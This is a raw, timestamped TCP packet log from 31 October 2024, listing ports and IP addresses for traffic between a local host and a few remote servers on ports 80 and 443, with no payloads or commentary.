Oct 31, 2024 05:07:32.490094900 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490108967 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490154028 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.490217924 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.490370989 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490381002 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490418911 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.490535975 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490555048 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490566015 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490591049 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.490611076 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.490926027 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490937948 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490950108 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490961075 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.490972042 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.491002083 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.531423092 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531438112 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531456947 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531481981 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.531487942 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531501055 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531512976 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531548023 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.531713009 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531733036 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531744003 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.531771898 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.532083035 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.532093048 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.532129049 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.532219887 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.532262087 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.532272100 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.532283068 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.532294035 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.532310009 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.572570086 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.609078884 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609354973 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609365940 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609375954 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609388113 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609416962 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609412909 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.609431028 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609443903 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609453917 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.609468937 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.609491110 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.609905958 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609918118 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609930992 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609941959 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609949112 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.609955072 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.609976053 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.650469065 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.650489092 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.650501966 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.650513887 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.650527000 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.650528908 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.650538921 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.650593042 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.650814056 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.650859118 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.651077032 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651190042 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651200056 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651211023 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651223898 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651236057 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651241064 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.651248932 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651264906 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.651288986 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.651602983 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651643991 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.651653051 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651664972 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.651694059 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.728307962 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728323936 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728336096 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728347063 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728359938 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728368044 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.728405952 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.728513002 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728552103 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.728580952 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728593111 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728645086 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.728678942 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728691101 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728703022 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.728737116 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.729402065 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.729418993 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.729444981 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.769406080 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.769457102 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.769507885 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.769521952 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.769534111 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.769572973 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.769581079 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.769625902 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.769638062 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.769649982 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.769664049 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.769685984 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.770092964 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.770139933 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.770174980 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.770185947 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.770225048 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.770474911 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.770494938 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.770512104 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.770529032 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.773395061 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.773482084 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.774926901 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.774935007 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.775166035 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.776979923 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.777107000 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.777136087 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.777219057 CET	49955	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:32.777226925 CET	443	49955	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:32.811716080 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.811728001 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.811760902 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.811772108 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.811804056 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.811814070 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847187996 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847223043 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847233057 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.847295046 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847357035 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.847358942 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847373009 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847384930 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847400904 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.847800016 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847839117 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.847846985 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847932100 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.847969055 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.847990036 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.848001003 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.848021984 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.848028898 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.848442078 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.848484993 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.848498106 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.848510027 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.848551989 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.888406038 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.888549089 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.888561964 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.888572931 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.888585091 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.888619900 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.888638973 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.888665915 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.888676882 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.888689041 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.888720989 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.888756990 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.889173985 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.889209986 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.889255047 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.889318943 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.889379025 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.889390945 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.889401913 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.889415979 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.889432907 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.930793047 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.930797100 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.930854082 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.930891991 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.930905104 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.930915117 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.930932999 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.966310978 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966351032 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.966367960 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966382027 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966392994 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966414928 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.966587067 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966603994 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966625929 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.966734886 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966742039 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966746092 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966773033 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.966773987 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.966794014 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.967216015 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.967253923 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:32.967273951 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.967286110 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.967298031 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:32.967323065 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.007601976 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.007621050 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.007632017 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.007647991 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.007659912 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.007669926 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.007668018 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.007683039 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.007694006 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.007714033 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.007735968 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.008289099 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.008301020 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.008311987 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.008338928 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.008353949 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.008610964 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.008621931 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.008635998 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.008666992 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.050530910 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.050545931 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.050559998 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.050573111 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.050579071 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.050591946 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.050609112 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.050645113 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.088872910 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.088912964 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.088926077 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.088958979 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.088968992 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.088980913 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.088992119 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.089000940 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.089040041 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.089365959 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.089378119 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.089387894 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.089399099 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.089411020 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.089415073 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.089422941 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.089448929 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.089473009 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.126430988 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.126472950 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.126482964 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.126494884 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.126627922 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.126627922 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.126679897 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.126692057 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.126703978 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.126734018 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.126962900 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.126981020 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.127010107 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.127140999 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.127161980 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.127173901 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.127202034 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.127233982 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.127556086 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.127568960 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.127578974 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.127590895 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.127612114 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.127638102 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.168984890 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.169003963 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.169017076 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.169064999 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.197655916 CET	80	49959	185.215.113.43	192.168.2.4
Oct 31, 2024 05:07:33.200550079 CET	49959	80	192.168.2.4	185.215.113.43
Oct 31, 2024 05:07:33.203057051 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.203368902 CET	49965	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.204368114 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204400063 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204411983 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204425097 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204431057 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204504013 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.204524994 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.204705954 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204718113 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204729080 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204742908 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.204751968 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.204791069 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.205166101 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.205178022 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.205215931 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.207882881 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.207977057 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.208049059 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.208122015 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.208139896 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.208153009 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.208164930 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.208188057 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.208205938 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.208206892 CET	80	49965	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.208265066 CET	49965	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.208347082 CET	80	49913	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.209168911 CET	49965	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.209219933 CET	49913	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.213960886 CET	80	49965	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245492935 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245510101 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245522976 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245534897 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245572090 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.245616913 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245620012 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.245628119 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245708942 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.245738029 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245790958 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245801926 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.245846033 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.246049881 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.246095896 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.246107101 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.246146917 CET	49943	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:33.246612072 CET	80	49943	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:33.246624947 CET	80	49943	185.215.113.16	192.168.2.4
